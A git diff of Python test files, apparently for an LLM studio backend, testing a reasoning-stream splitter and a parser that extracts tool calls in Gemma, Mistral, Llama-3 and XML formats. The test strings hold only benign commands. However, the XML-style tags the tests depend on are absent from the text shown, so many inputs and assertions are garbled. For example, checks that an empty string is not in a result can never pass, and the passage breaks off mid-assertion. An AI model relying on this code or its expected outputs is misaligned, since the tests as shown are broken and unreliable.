mode + # would capture the whole answer as reasoning_content. + assert ( + _sf_reasoning_prefill_mode(_ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "none") + is False + ) + assert ( + _sf_reasoning_prefill_mode(_ETHINK_EFFORT, None, _THINK_TPL, reasoning_effort = "high") + is True + ) + + +def test_prefill_mode_off_without_think_markers(): + assert _sf_reasoning_prefill_mode(_ETHINK, None, "no markers here") is False + + +def _replay_sf_reasoning_stream(events: list[dict], *, prefilled: bool) -> dict: + """Mirror sf_tool_stream's reasoning loop: diff each cumulative ``content`` + snapshot, feed the delta through the extractor, and reset (flushing first) on + ``tool_start`` / empty ``status`` so each turn splits independently.""" + prev_text = "" + extractor = _ResponsesReasoningExtractor( + parse_think_markers = True, reasoning_prefilled = prefilled + ) + reasoning_deltas: list[str] = [] + visible_deltas: list[str] = [] + monitor: list[str] = [] + tool_starts: list[dict] = [] + order: list[str] = [] # sequence of ("reasoning"|"visible"|"tool_start") events + + def _flush(): + fr, fv = extractor.finish() + if fr: + reasoning_deltas.append(fr) + order.append("reasoning") + if fv: + visible_deltas.append(fv) + monitor.append(fv) + order.append("visible") + + for event in events: + etype = event["type"] + if etype == "status": + if not event["text"]: + _flush() + prev_text = "" + extractor = _ResponsesReasoningExtractor( + parse_think_markers = True, reasoning_prefilled = prefilled + ) + continue + if etype in ("tool_start", "tool_end"): + if etype == "tool_start": + _flush() + prev_text = "" + extractor = _ResponsesReasoningExtractor( + parse_think_markers = True, reasoning_prefilled = prefilled + ) + tool_starts.append(event) + order.append("tool_start") + continue + clean = _strip_tool_xml_for_display(event.get("text", ""), auto_heal_tool_calls = True) + new_text = clean[len(prev_text) :] + prev_text = clean + if not new_text: + continue + r, v = extractor.feed(new_text) + if r: + reasoning_deltas.append(r) + order.append("reasoning") + if v: + visible_deltas.append(v) + monitor.append(v) + order.append("visible") + _flush() + return { + "reasoning": "".join(reasoning_deltas), + "visible": "".join(visible_deltas), + "monitor": "".join(monitor), + "tool_starts": tool_starts, + "order": order, + } + + +def test_s1_plain_stream_splits_prefilled_reasoning(): + # S1: plain/MLX single turn -> reasoning delta + visible delta; monitor visible-only. + events = [ + {"type": "content", "text": "Let me compute 17*23"}, + {"type": "content", "text": "Let me compute 17*23 = 391The answer is 391."}, + ] + out = _replay_sf_reasoning_stream(events, prefilled = True) + assert out["reasoning"] == "Let me compute 17*23 = 391" + assert out["visible"] == "The answer is 391." + assert out["monitor"] == "The answer is 391." + assert "" not in out["reasoning"] and "" not in out["visible"] + + +def test_s2_reasoning_flushed_before_tool_start(): + # S2: reasoning streamed as reasoning_content, then flushed BEFORE tool_start. + events = [ + {"type": "content", "text": "I should search"}, + {"type": "content", "text": "I should search Sydney weather"}, + {"type": "tool_start", "tool_name": "web_search", "tool_call_id": "c0"}, + {"type": "tool_end", "tool_name": "web_search", "tool_call_id": "c0"}, + {"type": "status", "text": ""}, + {"type": "content", "text": "Found itSydney is 21C today."}, + ] + out = _replay_sf_reasoning_stream(events, prefilled = True) + # Both turns' reasoning surfaced, answer only from turn 2. + assert "I should search Sydney weather" in out["reasoning"] + assert "Found it" in out["reasoning"] + assert out["visible"] == "Sydney is 21C today." + assert out["monitor"] == "Sydney is 21C today." + # Ordering: the pre-tool reasoning is emitted before the tool_start. + assert out["order"].index("reasoning") < out["order"].index("tool_start") + + +def test_s3_extractor_resets_each_turn(): + # S3: multi-turn -> the two turns' reasoning are distinct (fresh extractor each). + events = [ + {"type": "content", "text": "turn1 thoughtspartial"}, + {"type": "status", "text": ""}, + {"type": "content", "text": "turn2 thoughtsfinal answer"}, + ] + out = _replay_sf_reasoning_stream(events, prefilled = True) + assert out["reasoning"] == "turn1 thoughtsturn2 thoughts" + assert out["visible"] == "partialfinal answer" + + +def test_s4_harmony_full_tags_normal_mode(): + # S4: gpt-oss / explicit-tag models use normal mode (prefilled=False). + events = [{"type": "content", "text": "reasoning herevisible answer"}] + out = _replay_sf_reasoning_stream(events, prefilled = False) + assert out["reasoning"] == "reasoning here" + assert out["visible"] == "visible answer" + + +def test_s5_thinking_off_no_reasoning_deltas(): + # S5: thinking disabled -> not prefilled, no , all content is visible. + events = [{"type": "content", "text": "Just the plain answer, no thinking."}] + out = _replay_sf_reasoning_stream(events, prefilled = False) + assert out["reasoning"] == "" + assert out["visible"] == "Just the plain answer, no thinking." + assert out["monitor"] == "Just the plain answer, no thinking." + + +def test_s6_reasoning_effort_none_disables_prefill_for_enable_thinking_effort(): + # GLM-5.2-style enable_thinking_effort: a request with reasoning_effort="none" (and + # enable_thinking omitted) disables thinking exactly like enable_thinking=False, so + # prefilled mode must be OFF. Otherwise the model emits no and a plain + # answer is swallowed whole into reasoning_content, leaving the visible response + # empty (the exact bug: prefilled=True below eats the whole answer). + feats = {"reasoning_style": "enable_thinking_effort", "supports_reasoning": True} + assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, "none") is False + # Thinking on (effort level or default) still prefills. + assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, "high") is True + assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, None) is True + # An explicit enable_thinking=False also disables (unchanged). + assert _sf_reasoning_prefill_mode(feats, False, _THINK_TPL, "high") is False + # reasoning_always_on wins regardless of reasoning_effort. + always = {**feats, "reasoning_always_on": True} + assert _sf_reasoning_prefill_mode(always, None, _THINK_TPL, "none") is True + # Plain enable_thinking models (Qwen) have no "none" sentinel; unaffected. + plain = {"reasoning_style": "enable_thinking", "supports_reasoning": True} + assert _sf_reasoning_prefill_mode(plain, None, _THINK_TPL, "none") is True + + # End-to-end: with the corrected prefilled=False, a plain no- answer is + # emitted as visible content rather than swallowed into the thinking drawer. + events = [{"type": "content", "text": "The capital of France is Paris."}] + out = _replay_sf_reasoning_stream(events, prefilled = False) + assert out["visible"] == "The capital of France is Paris." + assert out["reasoning"] == "" + # The buggy prefilled=True path is what swallowed the whole answer (guard the delta). + swallowed = _replay_sf_reasoning_stream(events, prefilled = True) + assert swallowed["visible"] == "" + assert swallowed["reasoning"] == "The capital of France is Paris." diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py index 4098c87f4b..a8546b82c4 100644 --- a/studio/backend/tests/test_safetensors_tool_loop.py +++ b/studio/backend/tests/test_safetensors_tool_loop.py @@ -10,6 +10,7 @@ calls, tool-result feedback, bad-JSON heal, duplicate-call short-circuit, ``__IMAGES__`` sentinel stripping, executor errors, cancel, and the iteration cap. """ +import json import threading from typing import cast @@ -62,6 +63,51 @@ class TestParser: assert parse_tool_calls_from_text(text)[0]["function"]["name"] == "python" assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + def test_gemma_native_tool_call(self): + text = '<|tool_call>call:terminal{command:"ls -la",workdir:"."}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "terminal" + args = json.loads(result[0]["function"]["arguments"]) + assert args == {"command": "ls -la", "workdir": "."} + + def test_gemma_native_tool_call_template_quotes(self): + text = '<|tool_call>call:web_search{query:<|"|>openai news<|"|>}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + assert json.loads(result[0]["function"]["arguments"]) == {"query": "openai news"} + + def test_gemma_native_tool_call_template_quotes_escape_backslashes(self): + text = r'<|tool_call>call:ls{path:<|"|>C:\Users\wasim\repo<|"|>}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "ls" + assert json.loads(result[0]["function"]["arguments"]) == {"path": r"C:\Users\wasim\repo"} + + def test_gemma_native_tool_call_hyphenated_argument_name(self): + text = '<|tool_call>call:mcp__srv__create-issue{issue-title:"Bug report"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "mcp__srv__create-issue" + assert json.loads(result[0]["function"]["arguments"]) == {"issue-title": "Bug report"} + + def test_gemma_native_tool_call_keeps_braces_inside_string_value(self): + text = '<|tool_call>call:terminal{command:"echo {foo:bar}"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "terminal" + assert json.loads(result[0]["function"]["arguments"]) == {"command": "echo {foo:bar}"} + + def test_gemma_native_tool_call_bare_string_values(self): + text = "<|tool_call>call:get_weather{location:Tokyo,unit:celsius}" + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert json.loads(result[0]["function"]["arguments"]) == { + "location": "Tokyo", + "unit": "celsius", + } + def test_xml_function_call(self): text = "print('hi')" result = parse_tool_calls_from_text(text) @@ -69,6 +115,22 @@ class TestParser: assert result[0]["function"]["name"] == "python" assert "print('hi')" in result[0]["function"]["arguments"] + def test_xml_param_preserves_leading_indentation(self): + import json + + # Only the wrapping newline is trimmed; code-argument indentation survives. + text = ( + "\n" + " indented = 1\n" + " more\n" + "" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert json.loads(result[0]["function"]["arguments"]) == { + "code": " indented = 1\n more" + } + def test_xml_unclosed(self): # Closing tags omitted; parser must still extract the value. text = "ls -la" @@ -92,6 +154,20 @@ class TestParser: assert len(result) == 1 assert "print('hi')" in result[0]["function"]["arguments"] + def test_xml_param_preserves_leading_indentation(self): + # Only the wrapping newline is trimmed, so code-argument indentation survives (str.strip() destroyed it). + text = ( + "\n" + " indented = 1\n" + " more\n" + "" + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert json.loads(result[0]["function"]["arguments"]) == { + "code": " indented = 1\n more" + } + def test_function_signal_inside_parameter_is_literal(self): text = ( "" @@ -121,7 +197,10 @@ class TestParser: def test_has_tool_signal(self): assert has_tool_signal("blah x") + assert has_tool_signal("blah <|tool_call>call:terminal") assert has_tool_signal("hi ...") + assert has_tool_signal("ok [TOOL_CALLS]web_search{...") + assert has_tool_signal("fine python[ARGS]{...") assert not has_tool_signal("hello world") def test_render_html_start_detector_uses_first_tool(self): @@ -136,9 +215,58 @@ class TestParser: '{"name":"python","arguments":{"code":""}}' ) + def test_render_html_start_detector_covers_mistral_and_rehearsal_forms(self): + # The provisional render-html card must fire for bracket-tag forms too, not only XML. + assert _detect_render_html_tool_start('[TOOL_CALLS]render_html{"code":""}') + assert _detect_render_html_tool_start('[TOOL_CALLS]render_html[ARGS]{"code":"x"}') + assert _detect_render_html_tool_start( + '[TOOL_CALLS] [{"name":"render_html","arguments":{}}]' + ) + assert _detect_render_html_tool_start('render_html[ARGS]{"code":""}') + # A different first tool (or a prose mention with no JSON body) must not fire. + assert not _detect_render_html_tool_start('[TOOL_CALLS]web_search{"q":"x"}') + assert not _detect_render_html_tool_start('web_search[ARGS]{"q":"x"}') + assert not _detect_render_html_tool_start('python[ARGS]{"code":"render_html[ARGS]{}"}') + assert not _detect_render_html_tool_start("use render_html[ARGS] to render") + + def test_render_html_start_detector_skips_think_block_rehearsal(self): + # A render_html rehearsed inside think must not fire the card; the outside-think call decides. + assert not _detect_render_html_tool_start( + 'draft render_html[ARGS]{"code":"x"}python[ARGS]{"code":"print(1)"}' + ) + assert not _detect_render_html_tool_start( + '[THINK]render_html[ARGS]{"code":"x"}[/THINK]web_search[ARGS]{"q":"y"}' + ) + # A real render_html AFTER a rehearsed non-render_html inside think still fires. + assert _detect_render_html_tool_start( + 'web_search[ARGS]{"q":"x"}render_html[ARGS]{"code":""}' + ) + # A render_html rehearsed inside think with no real call after does not fire. + assert not _detect_render_html_tool_start('render_html[ARGS]{"code":"x"}') + + def test_render_html_start_detector_reads_top_level_array_name(self): + # Array form: the name is the object's top-level ``"name"``, not an argument key. + assert not _detect_render_html_tool_start( + '[TOOL_CALLS] [{"arguments":{"name":"render_html"},"name":"python"}]' + ) + assert _detect_render_html_tool_start( + '[TOOL_CALLS] [{"arguments":{"name":"python"},"name":"render_html"}]' + ) + def test_strip_markup_closed(self): text = "before {} after" assert strip_tool_markup(text) == "before after" + text = 'before <|tool_call>call:terminal{command:"ls"} after' + assert strip_tool_markup(text) == "before after" + + def test_strip_named_mistral_call_consumes_trailing_eos(self): + # The named ``[TOOL_CALLS]name{json}`` shape must eat the optional + # trailing ```` like the array shape, so the EOS marker is not left + # behind as visible content. + text = '[TOOL_CALLS]web_search{"query":"cats"}' + assert strip_tool_markup(text) == "" + text = '[TOOL_CALLS]web_search{"query":"cats"} and then' + assert strip_tool_markup(text) == " and then" def test_strip_markup_unclosed_final(self): text = "before {partial" @@ -146,6 +274,7 @@ class TestParser: assert strip_tool_markup(text, final = True) == "before" # Without final=True the unclosed run is preserved. assert "partial" in strip_tool_markup(text) + assert strip_tool_markup("before <|tool_call>call:terminal{", final = True) == "before" def test_streaming_strip_respects_disabled_healing(self): raw = 'before {"name":"web_search"' @@ -164,6 +293,849 @@ class TestParser: == "before " ) + # Mistral [TOOL_CALLS] bracket-tag. + + def test_mistral_bracket_basic(self): + # Devstral / Mistral-Small fallback when bypassing native FC. + text = '[TOOL_CALLS]web_search{"query":"weather"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + assert isinstance(result[0]["function"]["arguments"], str) + assert "weather" in result[0]["function"]["arguments"] + + def test_rehearsal_inside_unclosed_think_is_ignored(self): + """Rehearsal-shaped markup inside an unclosed block must + not be executed as a real tool call. Mid-stream the + tag has not arrived yet, so the strip regex has to accept + end-of-string as a terminator. Regression for the Gemini + high-severity flag on this PR.""" + text = ( + "I should call web_search[ARGS]" '{"query":"weather"} next to find the answer.' + ) + result = parse_tool_calls_from_text(text) + # Inside an unclosed think block no calls are yielded. + assert result == [] + + def test_rehearsal_inside_unclosed_bracket_think_is_ignored(self): + text = "[THINK]planning to use python[ARGS]" '{"code":"print(1)"} but not yet.' + result = parse_tool_calls_from_text(text) + assert result == [] + + def test_rehearsal_after_closed_think_still_parsed(self): + text = "planning" 'python[ARGS]{"code":"print(1)"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "python" + + def test_rehearsal_inside_prefilled_think_is_ignored(self): + """Reasoning models (Qwen3.5 enable_thinking) open in the PROMPT, + so generated content starts inside the thought and carries only a closing + . A call rehearsed in that leading thought must be skipped, while a + real call after the close still fires.""" + text = 'planning web_search[ARGS]{"query":"draft"}python[ARGS]{"code":"print(1)"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "python" + + def test_literal_close_think_in_leading_argument_not_prefill(self): + """A literal inside a real leading call's arguments must not be + read as a prefilled-reasoning close (which would skip the call).""" + text = 'web_search[ARGS]{"query":"what is "}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + + def test_stray_close_after_real_call_not_treated_as_prefill(self): + """A real leading call followed by a stray and no further call is + a normal answer, not prefilled reasoning; the call must still fire (the + virtual span only applies when a real call follows the close).""" + text = 'Now web_search[ARGS]{"query":"x"} answer' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + + def test_mistral_bracket_with_whitespace(self): + # Optional whitespace (incl. newlines) between the name and the opening brace. + text = '[TOOL_CALLS]python \n {"code":"print(1)"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "python" + assert "print(1)" in result[0]["function"]["arguments"] + + def test_mistral_bracket_nested_json(self): + # Brace-balance scan handles nested objects and braces inside string literals. + text = "[TOOL_CALLS]web_search" '{"query":"a {nested} brace","opts":{"limit":5}}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + import json as _json + + args = _json.loads(result[0]["function"]["arguments"]) + assert args["query"] == "a {nested} brace" + assert args["opts"] == {"limit": 5} + + def test_mistral_bracket_with_prose(self): + # Bracket-tag surrounded by prose is still recognised. + text = ( + "Sure, I will look that up.\n" + '[TOOL_CALLS]web_search{"query":"weather"}\n' + "Calling now." + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + + def test_mistral_bracket_bad_json_dropped(self): + text = "[TOOL_CALLS]web_search{not valid}" + result = parse_tool_calls_from_text(text) + # No usable tool call; callers fall back to text. + assert result == [] + + def test_mistral_bracket_object_with_array_value(self): + # Args must be a JSON object; a dict wrapping an array value is accepted. + text = '[TOOL_CALLS]web_search{"opts":[1,2,3]}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + + # Rehearsal syntax name[ARGS]{json}. + + def test_rehearsal_basic(self): + text = 'python[ARGS]{"code":"print(1)"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "python" + assert "print(1)" in result[0]["function"]["arguments"] + + def test_rehearsal_with_prose(self): + text = "I should call the python tool. Like this: " 'python[ARGS]{"code":"x = 1"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "python" + + def test_rehearsal_bad_json_dropped(self): + text = "python[ARGS]{not valid json}" + result = parse_tool_calls_from_text(text) + assert result == [] + + def test_mistral_bracket_hyphenated_mcp_name(self): + # Dashed MCP names must be captured whole, not truncated at the first dash. + text = '[TOOL_CALLS]mcp__srv__list-issues{"q":"x"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "mcp__srv__list-issues" + + def test_rehearsal_hyphenated_mcp_name(self): + text = 'mcp__srv__list-issues[ARGS]{"q":"x"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "mcp__srv__list-issues" + + def test_streaming_strip_removes_partial_bracket_marker(self): + # A bracket tag streamed before its opening brace must strip on the final pass, not leak. + assert strip_tool_markup("answer [TOOL_CALLS]web_search", final = True) == "answer" + assert strip_tool_markup("text python[ARGS]", final = True) == "text" + # Non-final must keep the in-progress tag buffered (not yet stripped). + partial = "answer [TOOL_CALLS]web_search" + assert strip_tool_markup(partial, final = False) == partial + + def test_strip_removes_two_level_nested_bracket_call_keeps_prose(self): + # Two-level-nested args must be removed whole; the balanced scan handles any depth. + text = 'before [TOOL_CALLS]search{"f":{"g":{"h":1}}} after' + assert strip_tool_markup(text, final = False) == "before after" + assert strip_tool_markup(text, final = True) == "before after" + + def test_strip_removes_call_with_literal_think_in_argument(self): + # A literal think block inside arguments strips with the call, not as a reasoning block. + text = ( + '{"name":"write","arguments":' + '{"text":"compare and tags"}}' + ) + assert strip_tool_markup(text, final = True) == "" + + def test_strip_preserves_real_think_but_strips_call_with_literal_think(self): + text = ( + "planning ok " + '{"name":"w","arguments":{"t":"x"}} done' + ) + out = strip_tool_markup(text, final = True) + assert "planning" in out + assert "" not in out and '"name"' not in out + assert "ok" in out and "done" in out + + def test_prose_mentioning_args_marker_is_not_truncated(self): + # ``foo[ARGS] to the template`` is prose; the catch-all must not delete the sentence. + text = "Please pass foo[ARGS] to the template and continue reading." + assert strip_tool_markup(text, final = True) == text + + def test_streaming_strip_handles_mistral_v11_call_id_args(self): + # The streaming strip uses the regex patterns directly, so they must cover the v11 + # [CALL_ID]/[ARGS] metadata (aligned with the parser). + raw = 'before [TOOL_CALLS]web_search[CALL_ID]abc123[ARGS]{"q":"x"} after' + out = strip_tool_markup_streaming(raw) + assert "[TOOL_CALLS]" not in out and "[CALL_ID]" not in out and "[ARGS]" not in out + assert "before" in out and "after" in out + + # pre-strip. + + def test_think_block_stripped_before_xml(self): + # The think block is stripped before matching so the post-thinking call is recognised. + text = ( + "I will use web_search to find the weather." + '{"name":"web_search","arguments":{"query":"sf"}}' + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + + def test_think_block_stripped_before_bracket_tag(self): + text = ( + "Let me search for that.\n" '[TOOL_CALLS]web_search{"query":"weather"}' + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + + def test_uppercase_think_tag_stripped(self): + # Some templates use [THINK]...[/THINK] instead of . + text = "[THINK]planning my next call[/THINK]" '[TOOL_CALLS]python{"code":"print(1)"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "python" + + def test_think_block_hides_inner_tool_call(self): + # A call mentioned inside think is a rehearsal; the wrapper strip removes the inner markup. + text = ( + "I might call " + '{"name":"web_search","arguments":{}} ' + "but I am not sure\n" + "Let me just answer directly." + ) + result = parse_tool_calls_from_text(text) + assert result == [] + + def test_think_literal_inside_real_tool_argument_is_preserved(self): + # A real call whose argument contains a literal think tag must not be corrupted. + text = ( + '{"name":"write","arguments":' + '{"text":"compare and tags"}}' + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert json.loads(result[0]["function"]["arguments"])["text"] == ( + "compare and tags" + ) + + def test_bracket_tag_argument_with_think_literal_is_preserved(self): + text = '[TOOL_CALLS]search{"q":"explain [THINK] blocks"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert json.loads(result[0]["function"]["arguments"])["q"] == "explain [THINK] blocks" + + def test_real_call_after_think_with_rehearsal_inside(self): + # A rehearsal inside is skipped, but the real call after the close tag parses. + text = 'plan: search[ARGS]{"q":"x"}search[ARGS]{"q":"real"}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert json.loads(result[0]["function"]["arguments"])["q"] == "real" + + # XML takes precedence over bracket-tag. + + def test_xml_wins_over_bracket(self): + # When a model emits both forms in one message, the XML form is canonical and wins. + text = ( + '{"name":"primary","arguments":{}}' + '[TOOL_CALLS]secondary{"k":"v"}' + ) + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "primary" + + # Strip patterns include bracket-tag and rehearsal. + + def test_strip_bracket_tag_closed(self): + text = 'before [TOOL_CALLS]web_search{"q":"hi"} after' + assert "[TOOL_CALLS]" not in strip_tool_markup(text) + assert "before" in strip_tool_markup(text) + assert "after" in strip_tool_markup(text) + + def test_strip_rehearsal_closed(self): + text = 'prose python[ARGS]{"code":"x"} more prose' + cleaned = strip_tool_markup(text) + assert "[ARGS]" not in cleaned + assert "prose" in cleaned + assert "more prose" in cleaned + + def test_strip_bracket_tag_unclosed_final(self): + text = 'before [TOOL_CALLS]web_search{"q":"part' + # Final-mode strip drops the trailing unclosed run. + cleaned = strip_tool_markup(text, final = True) + assert "TOOL_CALLS" not in cleaned + assert cleaned == "before" + + # Canonical Mistral array, v11 [CALL_ID], unified multi-call (PR review fixes). + + def test_mistral_canonical_array_is_parsed(self): + # Canonical multi-call array: every call must parse (was dropped then deleted to EOS). + text = '[TOOL_CALLS] [{"name":"a","arguments":{"x":1}},{"name":"b","arguments":{"y":2}}]' + result = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in result] == ["a", "b"] + assert json.loads(result[0]["function"]["arguments"]) == {"x": 1} + assert json.loads(result[1]["function"]["arguments"]) == {"y": 2} + + def test_mistral_array_string_arguments_are_decoded(self): + # OpenAI-spec arguments arrive as a JSON string; decode to an object. + text = '[TOOL_CALLS] [{"name":"a","arguments":"{\\"x\\":1}"}]' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert json.loads(result[0]["function"]["arguments"]) == {"x": 1} + + def test_mistral_array_scalar_string_argument_not_double_encoded(self): + # A bare scalar string argument in the Mistral array form must be kept + # raw, exactly like the path, so the downstream argument + # healer wraps ``weather`` into the single-string tool's key -- not + # ``"weather"`` with literal quotes from a redundant json.dumps. + array = parse_tool_calls_from_text( + '[TOOL_CALLS][{"name":"web_search","arguments":"weather"}]' + ) + xml = parse_tool_calls_from_text( + '{"name":"web_search","arguments":"weather"}' + ) + assert array[0]["function"]["arguments"] == xml[0]["function"]["arguments"] == "weather" + healed = _coerce_arguments( + array[0]["function"]["arguments"], heal = True, tool_name = "web_search" + ) + assert healed == {"query": "weather"} + + def test_mistral_array_strip_keeps_trailing_prose(self): + # The array form must be removed whole, not deleted to end-of-string. + text = 'answer [TOOL_CALLS] [{"name":"a","arguments":{}}] tail' + assert strip_tool_markup(text, final = True) == "answer tail" + + def test_mistral_and_rehearsal_in_one_message_both_parse(self): + # A Mistral call and a rehearsal call together: both must parse. + text = '[TOOL_CALLS]a{"x":1} then b[ARGS]{"y":2}' + result = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in result] == ["a", "b"] + + def test_mistral_v11_call_id_is_not_the_function_name(self): + # v11 shape: the function name is ``name``, never the opaque call-id token. + result = parse_tool_calls_from_text('[TOOL_CALLS]get_weather[CALL_ID]abc123[ARGS]{"q":"x"}') + assert len(result) == 1 + assert result[0]["function"]["name"] == "get_weather" + assert json.loads(result[0]["function"]["arguments"]) == {"q": "x"} + # v11 without a call-id parses the same name. + r2 = parse_tool_calls_from_text('[TOOL_CALLS]get_weather[ARGS]{"q":"y"}') + assert r2[0]["function"]["name"] == "get_weather" + + def test_strip_preserves_rehearsal_inside_think(self): + # A rehearsal inside is reasoning; strip keeps it verbatim. + text = 'plan: search[ARGS]{"q":"x"} A' + out = strip_tool_markup(text, final = True) + assert out == text + assert "search[ARGS]" in out + + def test_streaming_strip_preserves_rehearsal_inside_think(self): + # The streaming strip must also preserve a think rehearsal: a mid-stream strip shrinks + # then regrows the cumulative text (corrupts append-by-length consumers). Matches GGUF. + text = 'plan: search[ARGS]{"q":"x"} A' + assert strip_tool_markup_streaming(text) == text + assert strip_tool_markup_streaming(text, tool_protocol_active = True) == text + # An unclosed block during streaming is preserved too (the parser keeps it). + partial = 'plan: search[ARGS]{"q":"x"}' + assert strip_tool_markup_streaming(partial, tool_protocol_active = True) == partial + + def test_streaming_strip_still_removes_real_call_outside_think(self): + # The think guard must not stop the streaming strip removing a call outside the block. + text = 'reason web_search[ARGS]{"q":"x"}' + out = strip_tool_markup_streaming(text, tool_protocol_active = True) + assert "web_search[ARGS]" not in out + assert "reason" in out + + def test_strip_bracket_calls_is_linear(self): + # Many complete bracket calls must strip in ~linear time (was O(n^2) per match). + import time + + text = '[TOOL_CALLS]f{"a":1}' * 4000 # ~80KB, 4000 complete calls + t0 = time.perf_counter() + out = strip_tool_markup(text, final = True) + elapsed = time.perf_counter() - t0 + assert "[TOOL_CALLS]" not in out + assert elapsed < 1.0, f"strip took {elapsed * 1000:.0f}ms on 4000 bracket calls" + + def test_streaming_strip_handles_nested_mistral_json(self): + # The non-greedy [TOOL_CALLS]name{...} pattern truncates nested JSON at the first }; the + # balanced helper must remove the whole call so no trailing brace leaks to the streaming ... + raw = 'ok [TOOL_CALLS]foo{"a":{"b":1}} tail' + out = strip_tool_markup_streaming(raw) + assert "[TOOL_CALLS]" not in out + assert "}" not in out + assert "ok " in out and "tail" in out + + def test_streaming_strip_handles_nested_wrapperless_gemma(self): + # Same class of bug for the wrapper-less Gemma call:NAME{...} form with a + # nested object argument. + raw = "ok call:f{loc:{city:NYC},n:3} tail" + out = strip_tool_markup_streaming(raw) + assert "call:f" not in out + assert "}" not in out + assert "ok " in out and "tail" in out + + def test_streaming_strip_keeps_prose_after_function_xml_with_literal_marker(self): + # A literal ```` in a value is data: the strip must close at the REAL + # ```` and keep trailing prose (the open-ended regex ate to EOF). + raw = ( + "pref " + 'print("") tail' + ) + assert strip_tool_markup_streaming(raw) == "pref tail" + # Streaming and final strip agree on the visible text (final also trims). + assert strip_tool_markup_streaming(raw) == strip_tool_markup(raw, final = True) + + def test_streaming_strip_drops_leading_magistral_reasoning(self): + # Magistral emits reasoning as a leading ``[THINK]...[/THINK]`` bracket block + # (not the ```` the reasoning channel renders). The streaming display + # strip must drop it so the raw chain-of-thought does not leak into the + # safetensors content; GGUF routes it to reasoning_content natively. + closed = "[THINK]Let me think. 2+2 is 4.[/THINK]The answer is 4." + assert strip_tool_markup_streaming(closed) == "The answer is 4." + assert strip_tool_markup_streaming(closed) == strip_tool_markup(closed, final = True) + # Unclosed mid-stream reasoning is held from the marker on (nothing leaks, and + # the cleaned text only grows as the answer streams in after ``[/THINK]``). + assert strip_tool_markup_streaming("[THINK]still thinking") == "" + assert strip_tool_markup_streaming("[THINK]r[/THINK]The") == "The" + assert strip_tool_markup_streaming("[THINK]r[/THINK]The answer") == "The answer" + # A non-leading ``[THINK]`` is ordinary prose and is left untouched. + assert strip_tool_markup_streaming("hi [THINK] later") == "hi [THINK] later" + + +class TestParserMultiFormat: + """Shared-parser coverage: every family's emission maps to the same OpenAI shape.""" + + # Llama-3 + + def test_llama3_python_tag_dot_call(self): + # Llama-3 built-in tools: <|python_tag|>NAME.call(k="v", ...). + import json + + text = '<|python_tag|>brave_search.call(query="weather in Tokyo")' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "brave_search" + args = json.loads(result[0]["function"]["arguments"]) + assert args == {"query": "weather in Tokyo"} + + def test_llama3_python_tag_dot_call_multi_arg(self): + import json + + text = "<|python_tag|>get_weather.call(" 'location="Tokyo", units="celsius", days=5)' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + args = json.loads(result[0]["function"]["arguments"]) + assert args == {"location": "Tokyo", "units": "celsius", "days": 5} + + def test_llama3_python_tag_json_form(self): + import json + + text = '<|python_tag|>{"name":"web_search","parameters":{"query":"hi","n":5}}' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + assert result[0]["function"]["name"] == "web_search" + args = json.loads(result[0]["function"]["arguments"]) + assert args == {"query": "hi", "n": 5} + + def test_llama3_python_tag_json_form_with_eom(self): + # Llama-3 emits ``<|eom_id|>`` after the JSON; must not break parsing. + import json + + text = '<|python_tag|>{"name":"python","parameters":{"code":"print(2+2)"}}<|eom_id|>' + result = parse_tool_calls_from_text(text) + assert len(result) == 1 + args = json.loads(result[0]["function"]["arguments"]) + assert args == {"code": "print(2+2)"} + + def test_llama3_strip_markup_final(self): + text = '<|python_tag|>brave_search.call(query="x")' + assert 